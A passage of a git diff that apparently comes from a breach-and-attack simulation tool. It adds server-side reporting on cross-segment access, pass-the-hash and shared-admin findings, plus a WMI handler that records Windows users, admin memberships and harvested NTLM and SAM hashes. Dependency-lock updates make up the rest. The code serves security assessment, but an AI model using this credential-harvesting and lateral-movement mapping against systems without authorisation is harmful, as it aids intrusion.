to access target_subnet. + :param target_subnet: The subnet which shouldn't be accessible from source_subnet. + :return: + """ + if source_subnet == target_subnet: + return [] + source_subnet_range = NetworkRange.get_range_obj(source_subnet) + target_subnet_range = NetworkRange.get_range_obj(target_subnet) + + cross_segment_issues = [] + + scans.rewind() # If we iterated over scans already we need to rewind. + for scan in scans: + target_ip = scan['data']['machine']['ip_addr'] + if target_subnet_range.is_in_range(unicode(target_ip)): + monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) + cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], + source_subnet_range, + target_subnet_range) + + if cross_segment_ip is not None: + cross_segment_issues.append( + { + 'source': cross_segment_ip, + 'hostname': monkey['hostname'], + 'target': target_ip, + 'services': scan['data']['machine']['services'], + 'is_self': False + }) + + return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine( + source_subnet_range, target_subnet_range) + + @staticmethod + def get_cross_segment_issues_per_subnet_group(scans, subnet_group): + """ + Gets list of cross segment issues within given subnet_group. + :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + This should be a PyMongo cursor object. + :param subnet_group: List of subnets which shouldn't be accessible from each other. + :return: Cross segment issues regarding the subnets in the group. + """ + cross_segment_issues = [] + + for subnet_pair in itertools.product(subnet_group, subnet_group): + source_subnet = subnet_pair[0] + target_subnet = subnet_pair[1] + pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet) + if len(pair_issues) != 0: + cross_segment_issues.append( + { + 'source_subnet': source_subnet, + 'target_subnet': target_subnet, + 'issues': pair_issues + }) + + return cross_segment_issues + + @staticmethod + def get_cross_segment_issues(): + scans = mongo.db.telemetry.find({'telem_type': 'scan'}, + {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) + + cross_segment_issues = [] + + # For now the feature is limited to 1 group. + subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] + + for subnet_group in subnet_groups: + cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) + + return cross_segment_issues + + @staticmethod + def get_domain_issues(): + + ISSUE_GENERATORS = [ + PTHReportService.get_duplicated_passwords_issues, + PTHReportService.get_shared_admins_issues, + ] + issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) + domain_issues_dict = {} + for issue in issues: + if not issue.get('is_local', True): + machine = issue.get('machine').upper() + if machine not in domain_issues_dict: + domain_issues_dict[machine] = [] + domain_issues_dict[machine].append(issue) + logger.info('Domain issues generated for reporting') + return domain_issues_dict + @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ - ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + ISSUE_GENERATORS = [ + ReportService.get_exploits, + ReportService.get_tunnels, + ReportService.get_island_cross_segment_issues, + ReportService.get_azure_issues, + PTHReportService.get_duplicated_passwords_issues, + PTHReportService.get_strong_users_on_crit_issues + ] + issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) + issues_dict = {} for issue in issues: - machine = issue['machine'] - if machine not in issues_dict: - issues_dict[machine] = [] - issues_dict[machine].append(issue) + if issue.get('is_local', True): + machine = issue.get('machine').upper() + if machine not in issues_dict: + issues_dict[machine] = [] + issues_dict[machine].append(issue) logger.info('Issues generated for reporting') return issues_dict @@ -430,24 +623,37 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True + elif issue['type'] == 'weblogic': + issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True + elif issue['type'] == 'hadoop': + issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True + elif issue['type'] == 'strong_users_on_crit': + issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True return issues_byte_array @staticmethod - def get_warnings_overview(issues): - warnings_byte_array = [False] * 2 + def get_warnings_overview(issues, cross_segment_issues): + warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT) for machine in issues: for issue in issues[machine]: - if issue['type'] == 'cross_segment': + if issue['type'] == 'island_cross_segment': warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True elif issue['type'] == 'tunnel': warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True + elif issue['type'] == 'shared_admins': + warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True + elif issue['type'] == 'shared_passwords': + warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True + + if len(cross_segment_issues) != 0: + warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True return warnings_byte_array @@ -468,9 +674,11 @@ class ReportService: @staticmethod def get_report(): + domain_issues = ReportService.get_domain_issues() issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() + cross_segment_issues = ReportService.get_cross_segment_issues() report = \ { @@ -485,7 +693,8 @@ class ReportService: 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"), 'monkey_duration': ReportService.get_monkey_duration(), 'issues': ReportService.get_issues_overview(issues, config_users, config_passwords), - 'warnings': ReportService.get_warnings_overview(issues) + 'warnings': ReportService.get_warnings_overview(issues, cross_segment_issues), + 'cross_segment_issues': cross_segment_issues }, 'glance': { @@ -493,11 +702,14 @@ class ReportService: 'exploited': ReportService.get_exploited(), 'stolen_creds': ReportService.get_stolen_creds(), 'azure_passwords': ReportService.get_azure_creds(), - 'ssh_keys': ReportService.get_ssh_keys() + 'ssh_keys': ReportService.get_ssh_keys(), + 'strong_users': PTHReportService.get_strong_users_on_crit_details(), + 'pth_map': PTHReportService.get_pth_map() }, 'recommendations': { - 'issues': issues + 'issues': issues, + 'domain_issues': domain_issues } } diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py new file mode 100644 index 000000000..5842ae5c6 --- /dev/null +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -0,0 +1,155 @@ +from cc.database import mongo +from cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE + +__author__ = 'maor.rayzin' + + +class WMIHandler(object): + + ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' + + def __init__(self, monkey_id, wmi_info, user_secrets): + + self.monkey_id = monkey_id + self.info_for_mongo = {} + self.users_secrets = user_secrets + self.users_info = wmi_info['Win32_UserAccount'] + self.groups_info = wmi_info['Win32_Group'] + self.groups_and_users = wmi_info['Win32_GroupUser'] + self.services = wmi_info['Win32_Service'] + self.products = wmi_info['Win32_Product'] + + def process_and_handle_wmi_info(self): + + self.add_groups_to_collection() + self.add_users_to_collection() + self.create_group_user_connection() + self.insert_info_to_mongo() + self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) + self.update_admins_retrospective() + self.update_critical_services() + + def update_critical_services(self): + critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES') + mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}}) + + services_names_list = [str(i['Name'])[2:-1] for i in self.services] + products_names_list = [str(i['Name'])[2:-2] for i in self.products] + + for name in critical_names: + if name in services_names_list or name in products_names_list: + mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}}) + + def build_entity_document(self, entity_info, monkey_id=None): + general_properties_dict = { + 'SID': str(entity_info['SID'])[4:-1], + 'name': str(entity_info['Name'])[2:-1], + 'machine_id': monkey_id, + 'member_of': [], + 'admin_on_machines': [] + } + + if monkey_id: + general_properties_dict['domain_name'] = None + else: + general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1] + + return general_properties_dict + + def add_users_to_collection(self): + for user in self.users_info: + if not user.get('LocalAccount'): + base_entity = self.build_entity_document(user) + else: + base_entity = self.build_entity_document(user, self.monkey_id) + base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm') + base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam') + base_entity['secret_location'] = [] + + base_entity['type'] = USERTYPE + self.info_for_mongo[base_entity.get('SID')] = base_entity + + def add_groups_to_collection(self): + for group in self.groups_info: + if not group.get('LocalAccount'): + base_entity = self.build_entity_document(group) + else: + base_entity = self.build_entity_document(group, self.monkey_id) + base_entity['entities_list'] = [] + base_entity['type'] = GROUPTYPE + self.info_for_mongo[base_entity.get('SID')] = base_entity + + def create_group_user_connection(self): + for group_user_couple in self.groups_and_users: + group_part = group_user_couple['GroupComponent'] + child_part = group_user_couple['PartComponent'] + group_sid = str(group_part['SID'])[4:-1] + groups_entities_list = self.info_for_mongo[group_sid]['entities_list'] + child_sid = '' + + if type(child_part) in (unicode, str): + child_part = str(child_part) + name = None + domain_name = None + if "cimv2:Win32_UserAccount" in child_part: + # domain user + domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] + name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2] + + if "cimv2:Win32_Group" in child_part: + # domain group + domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0] + name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2] + + for entity in self.info_for_mongo: + if self.info_for_mongo[entity]['name'] == name and \ + self.info_for_mongo[entity]['domain'] == domain_name: + child_sid = self.info_for_mongo[entity]['SID'] + else: + child_sid = str(child_part['SID'])[4:-1] + + if child_sid and child_sid not in groups_entities_list: + groups_entities_list.append(child_sid) + + if child_sid: + if child_sid in self.info_for_mongo: + self.info_for_mongo[child_sid]['member_of'].append(group_sid) + + def insert_info_to_mongo(self): + for entity in self.info_for_mongo.values(): + if entity['machine_id']: + # Handling for local entities. + mongo.db.groupsandusers.update({'SID': entity['SID'], + 'machine_id': entity['machine_id']}, entity, upsert=True) + else: + # Handlings for domain entities. + if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}): + mongo.db.groupsandusers.insert_one(entity) + else: + # if entity is domain entity, add the monkey id of current machine to secrets_location. + # (found on this machine) + if entity.get('NTLM_secret'): + mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE}, + {'$addToSet': {'secret_location': self.monkey_id}}) + + def update_admins_retrospective(self): + for profile in self.info_for_mongo: + groups_from_mongo = mongo.db.groupsandusers.find({ + 'SID': {'$in': self.info_for_mongo[profile]['member_of']}}, + {'admin_on_machines': 1}) + + for group in groups_from_mongo: + if group['admin_on_machines']: + mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']}, + {'$addToSet': {'admin_on_machines': { + '$each': group['admin_on_machines']}}}) + + def add_admin(self, group, machine_id): + for sid in group['entities_list']: + mongo.db.groupsandusers.update_one({'SID': sid}, + {'$addToSet': {'admin_on_machines': machine_id}}) + entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, + {'type': USERTYPE, 'entities_list': 1}) + if entity_details.get('type') == GROUPTYPE: + self.add_admin(entity_details, machine_id) + diff --git a/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc similarity index 100% rename from monkey_island/cc/ui/.babelrc rename to monkey/monkey_island/cc/ui/.babelrc diff --git a/monkey_island/cc/ui/.editorconfig b/monkey/monkey_island/cc/ui/.editorconfig similarity index 100% rename from monkey_island/cc/ui/.editorconfig rename to monkey/monkey_island/cc/ui/.editorconfig diff --git a/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc similarity index 100% rename from monkey_island/cc/ui/.eslintrc rename to monkey/monkey_island/cc/ui/.eslintrc diff --git a/monkey_island/cc/ui/.gitignore b/monkey/monkey_island/cc/ui/.gitignore similarity index 100% rename from monkey_island/cc/ui/.gitignore rename to monkey/monkey_island/cc/ui/.gitignore diff --git a/monkey_island/cc/ui/.yo-rc.json b/monkey/monkey_island/cc/ui/.yo-rc.json similarity index 100% rename from monkey_island/cc/ui/.yo-rc.json rename to monkey/monkey_island/cc/ui/.yo-rc.json diff --git a/monkey_island/cc/ui/karma.conf.js b/monkey/monkey_island/cc/ui/karma.conf.js similarity index 100% rename from monkey_island/cc/ui/karma.conf.js rename to monkey/monkey_island/cc/ui/karma.conf.js diff --git a/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json similarity index 92% rename from monkey_island/cc/ui/package-lock.json rename to monkey/monkey_island/cc/ui/package-lock.json index 98ca6d7fd..e79f4663d 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -110,6 +110,22 @@ } } }, + "@babel/runtime-corejs2": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.1.2.tgz", + "integrity": "sha512-drxaPByExlcRDKW4ZLubUO4ZkI8/8ax9k9wve1aEthdLKFzjB7XRkOQ0xoTIWGxqdDnWDElkjYq77bt7yrcYJQ==", + "requires": { + "core-js": "2.5.7", + "regenerator-runtime": "0.12.1" + }, + "dependencies": { + "regenerator-runtime": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz", + "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg==" + } + } + }, "@babel/template": { "version": "7.0.0-beta.44", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.0.0-beta.44.tgz", @@ -191,264 +207,189 @@ } }, "@webassemblyjs/ast": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.5.13.tgz", - "integrity": "sha512-49nwvW/Hx9i+OYHg+mRhKZfAlqThr11Dqz8TsrvqGKMhdI2ijy3KBJOun2Z4770TPjrIJhR6KxChQIDaz8clDA==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.7.8.tgz", + "integrity": "sha512-dOrtdtEyB8sInpl75yLPNksY4sRl0j/+t6aHyB/YA+ab9hV3Fo7FmG12FHzP+2MvWVAJtDb+6eXR5EZbZJ+uVg==", "dev": true, "requires": { - "@webassemblyjs/helper-module-context": "1.5.13", - "@webassemblyjs/helper-wasm-bytecode": "1.5.13", - "@webassemblyjs/wast-parser": "1.5.13", - "debug": "3.1.0", - "mamacro": "0.0.3" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - } + "@webassemblyjs/helper-module-context": "1.7.8", + "@webassemblyjs/helper-wasm-bytecode": "1.7.8", + "@webassemblyjs/wast-parser": "1.7.8" } }, "@webassemblyjs/floating-point-hex-parser": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.5.13.tgz", - "integrity": "sha512-vrvvB18Kh4uyghSKb0NTv+2WZx871WL2NzwMj61jcq2bXkyhRC+8Q0oD7JGVf0+5i/fKQYQSBCNMMsDMRVAMqA==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.7.8.tgz", + "integrity": "sha512-kn2zNKGsbql5i56VAgRYkpG+VazqHhQQZQycT2uXAazrAEDs23gy+Odkh5VblybjnwX2/BITkDtNmSO76hdIvQ==", "dev": true }, "@webassemblyjs/helper-api-error": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.5.13.tgz", - "integrity": "sha512-dBh2CWYqjaDlvMmRP/kudxpdh30uXjIbpkLj9HQe+qtYlwvYjPRjdQXrq1cTAAOUSMTtzqbXIxEdEZmyKfcwsg==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.7.8.tgz", + "integrity": "sha512-xUwxDXsd1dUKArJEP5wWM5zxgCSwZApSOJyP1XO7M8rNUChUDblcLQ4FpzTpWG2YeylMwMl1MlP5Ztryiz1x4g==", "dev": true }, "@webassemblyjs/helper-buffer": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.5.13.tgz", - "integrity": "sha512-v7igWf1mHcpJNbn4m7e77XOAWXCDT76Xe7Is1VQFXc4K5jRcFrl9D0NrqM4XifQ0bXiuTSkTKMYqDxu5MhNljA==", - "dev": true, - "requires": { - "debug": "3.1.0" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - } - } + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.7.8.tgz", + "integrity": "sha512-WXiIMnuvuwlhWvVOm8xEXU9DnHaa3AgAU0ZPfvY8vO1cSsmYb2WbGbHnMLgs43vXnA7XAob9b56zuZaMkxpCBg==", + "dev": true }, "@webassemblyjs/helper-code-frame": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.5.13.tgz", - "integrity": "sha512-yN6ScQQDFCiAXnVctdVO/J5NQRbwyTbQzsGzEgXsAnrxhjp0xihh+nNHQTMrq5UhOqTb5LykpJAvEv9AT0jnAQ==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.7.8.tgz", + "integrity": "sha512-TLQxyD9qGOIdX5LPQOPo0Ernd88U5rHkFb8WAjeMIeA0sPjCHeVPaGqUGGIXjUcblUkjuDAc07bruCcNHUrHDA==", "dev": true, "requires": { - "@webassemblyjs/wast-printer": "1.5.13" + "@webassemblyjs/wast-printer": "1.7.8" } }, "@webassemblyjs/helper-fsm": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.5.13.tgz", - "integrity": "sha512-hSIKzbXjVMRvy3Jzhgu+vDd/aswJ+UMEnLRCkZDdknZO3Z9e6rp1DAs0tdLItjCFqkz9+0BeOPK/mk3eYvVzZg==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.7.8.tgz", + "integrity": "sha512-TjK0CnD8hAPkV5mbSp5aWl6SO1+H3WFcjWtixWoy8EMA99YnNzYhpc/WSYWhf7yrhpzkq5tZB0tvLK3Svr3IXA==", "dev": true }, "@webassemblyjs/helper-module-context": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.5.13.tgz", - "integrity": "sha512-zxJXULGPLB7r+k+wIlvGlXpT4CYppRz8fLUM/xobGHc9Z3T6qlmJD9ySJ2jknuktuuiR9AjnNpKYDECyaiX+QQ==", - "dev": true, - "requires": { - "debug": "3.1.0", - "mamacro": "0.0.3" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - } - } + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.7.8.tgz", + "integrity": "sha512-uCutAKR7Nm0VsFixcvnB4HhAyHouNbj0Dx1p7eRjFjXGGZ+N7ftTaG1ZbWCasAEbtwGj54LP8+lkBZdTCPmLGg==", + "dev": true }, "@webassemblyjs/helper-wasm-bytecode": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.5.13.tgz", - "integrity": "sha512-0n3SoNGLvbJIZPhtMFq0XmmnA/YmQBXaZKQZcW8maGKwLpVcgjNrxpFZHEOLKjXJYVN5Il8vSfG7nRX50Zn+aw==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.7.8.tgz", + "integrity": "sha512-AdCCE3BMW6V34WYaKUmPgVHa88t2Z14P4/0LjLwuGkI0X6pf7nzp0CehzVVk51cKm2ymVXjl9dCG+gR1yhITIQ==", "dev": true }, "@webassemblyjs/helper-wasm-section": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.5.13.tgz", - "integrity": "sha512-IJ/goicOZ5TT1axZFSnlAtz4m8KEjYr12BNOANAwGFPKXM4byEDaMNXYowHMG0yKV9a397eU/NlibFaLwr1fbw==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.7.8.tgz", + "integrity": "sha512-BkBhYQuzyl4hgTGOKo87Vdw6f9nj8HhI7WYpI0MCC5qFa5ahrAPOGgyETVdnRbv+Rjukl9MxxfDmVcVC435lDg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.5.13", - "@webassemblyjs/helper-buffer": "1.5.13", - "@webassemblyjs/helper-wasm-bytecode": "1.5.13", - "@webassemblyjs/wasm-gen": "1.5.13", - "debug": "3.1.0" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - } + "@webassemblyjs/ast": "1.7.8", + "@webassemblyjs/helper-buffer": "1.7.8", + "@webassemblyjs/helper-wasm-bytecode": "1.7.8", + "@webassemblyjs/wasm-gen": "1.7.8" } }, "@webassemblyjs/ieee754": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.5.13.tgz", - "integrity": "sha512-TseswvXEPpG5TCBKoLx9tT7+/GMACjC1ruo09j46ULRZWYm8XHpDWaosOjTnI7kr4SRJFzA6MWoUkAB+YCGKKg==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.7.8.tgz", + "integrity": "sha512-tOarWChdG1a3y1yqCX0JMDKzrat5tQe4pV6K/TX19BcXsBLYxFQOL1DEDa5KG9syeyvCrvZ+i1+Mv1ExngvktQ==", "dev": true, "requires": { - "ieee754": "1.1.12" + "@xtuc/ieee754": "1.2.0" } }, "@webassemblyjs/leb128": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.5.13.tgz", - "integrity": "sha512-0NRMxrL+GG3eISGZBmLBLAVjphbN8Si15s7jzThaw1UE9e5BY1oH49/+MA1xBzxpf1OW5sf9OrPDOclk9wj2yg==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.7.8.tgz", + "integrity": "sha512-GCYeGPgUFWJiZuP4NICbcyUQNxNLJIf476Ei+K+jVuuebtLpfvwkvYT6iTUE7oZYehhkor4Zz2g7SJ/iZaPudQ==", "dev": true, "requires": { - "long": "4.0.0" - }, - "dependencies": { - "long": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz", - "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA==", - "dev": true - } + "@xtuc/long": "4.2.1" } }, "@webassemblyjs/utf8": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.5.13.tgz", - "integrity": "sha512-Ve1ilU2N48Ew0lVGB8FqY7V7hXjaC4+PeZM+vDYxEd+R2iQ0q+Wb3Rw8v0Ri0+rxhoz6gVGsnQNb4FjRiEH/Ng==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.7.8.tgz", + "integrity": "sha512-9X+f0VV+xNXW2ujfIRSXBJENGE6Qh7bNVKqu3yDjTFB3ar3nsThsGBBKdTG58aXOm2iUH6v28VIf88ymPXODHA==", "dev": true }, "@webassemblyjs/wasm-edit": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.5.13.tgz", - "integrity": "sha512-X7ZNW4+Hga4f2NmqENnHke2V/mGYK/xnybJSIXImt1ulxbCOEs/A+ZK/Km2jgihjyVxp/0z0hwIcxC6PrkWtgw==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.7.8.tgz", + "integrity": "sha512-6D3Hm2gFixrfyx9XjSON4ml1FZTugqpkIz5Awvrou8fnpyprVzcm4X8pyGRtA2Piixjl3DqmX/HB1xdWyE097A==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.5.13", - "@webassemblyjs/helper-buffer": "1.5.13", - "@webassemblyjs/helper-wasm-bytecode": "1.5.13", - "@webassemblyjs/helper-wasm-section": "1.5.13", - "@webassemblyjs/wasm-gen": "1.5.13", - "@webassemblyjs/wasm-opt": "1.5.13", - "@webassemblyjs/wasm-parser": "1.5.13", - "@webassemblyjs/wast-printer": "1.5.13", - "debug": "3.1.0" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - } + "@webassemblyjs/ast": "1.7.8", + "@webassemblyjs/helper-buffer": "1.7.8", + "@webassemblyjs/helper-wasm-bytecode": "1.7.8", + "@webassemblyjs/helper-wasm-section": "1.7.8", + "@webassemblyjs/wasm-gen": "1.7.8", + "@webassemblyjs/wasm-opt": "1.7.8", + "@webassemblyjs/wasm-parser": "1.7.8", + "@webassemblyjs/wast-printer": "1.7.8" } }, "@webassemblyjs/wasm-gen": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.5.13.tgz", - "integrity": "sha512-yfv94Se8R73zmr8GAYzezFHc3lDwE/lBXQddSiIZEKZFuqy7yWtm3KMwA1uGbv5G1WphimJxboXHR80IgX1hQA==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.7.8.tgz", + "integrity": "sha512-a7O/wE6eBeVKKUYgpMK7NOHmMADD85rSXLe3CqrWRDwWff5y3cSVbzpN6Qv3z6C4hdkpq9qyij1Ga1kemOZGvQ==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.5.13", - "@webassemblyjs/helper-wasm-bytecode": "1.5.13", - "@webassemblyjs/ieee754": "1.5.13", - "@webassemblyjs/leb128": "1.5.13", - "@webassemblyjs/utf8": "1.5.13" + "@webassemblyjs/ast": "1.7.8", + "@webassemblyjs/helper-wasm-bytecode": "1.7.8", + "@webassemblyjs/ieee754": "1.7.8", + "@webassemblyjs/leb128": "1.7.8", + "@webassemblyjs/utf8": "1.7.8" } }, "@webassemblyjs/wasm-opt": { - "version": "1.5.13", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.5.13.tgz", - "integrity": "sha512-IkXSkgzVhQ0QYAdIayuCWMmXSYx0dHGU8Ah/AxJf1gBvstMWVnzJnBwLsXLyD87VSBIcsqkmZ28dVb0mOC3oBg==", + "version": "1.7.8", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.7.8.tgz", + "integrity": "sha512-3lbQ0PT81NHCdi1sR/7+SNpZadM4qYcTSr62nFFAA7e5lFwJr14M1Gi+A/Y3PgcDWOHYjsaNGPpPU0H03N6Blg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.5.13", - "@webassemblyjs/helper-buffer": "1.5.13", - "@webassemblyjs/wasm-gen": "1.5.13", - "@webassemblyjs/wasm-parser": "1.5.13", - "debug": "3.1.0" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - } + 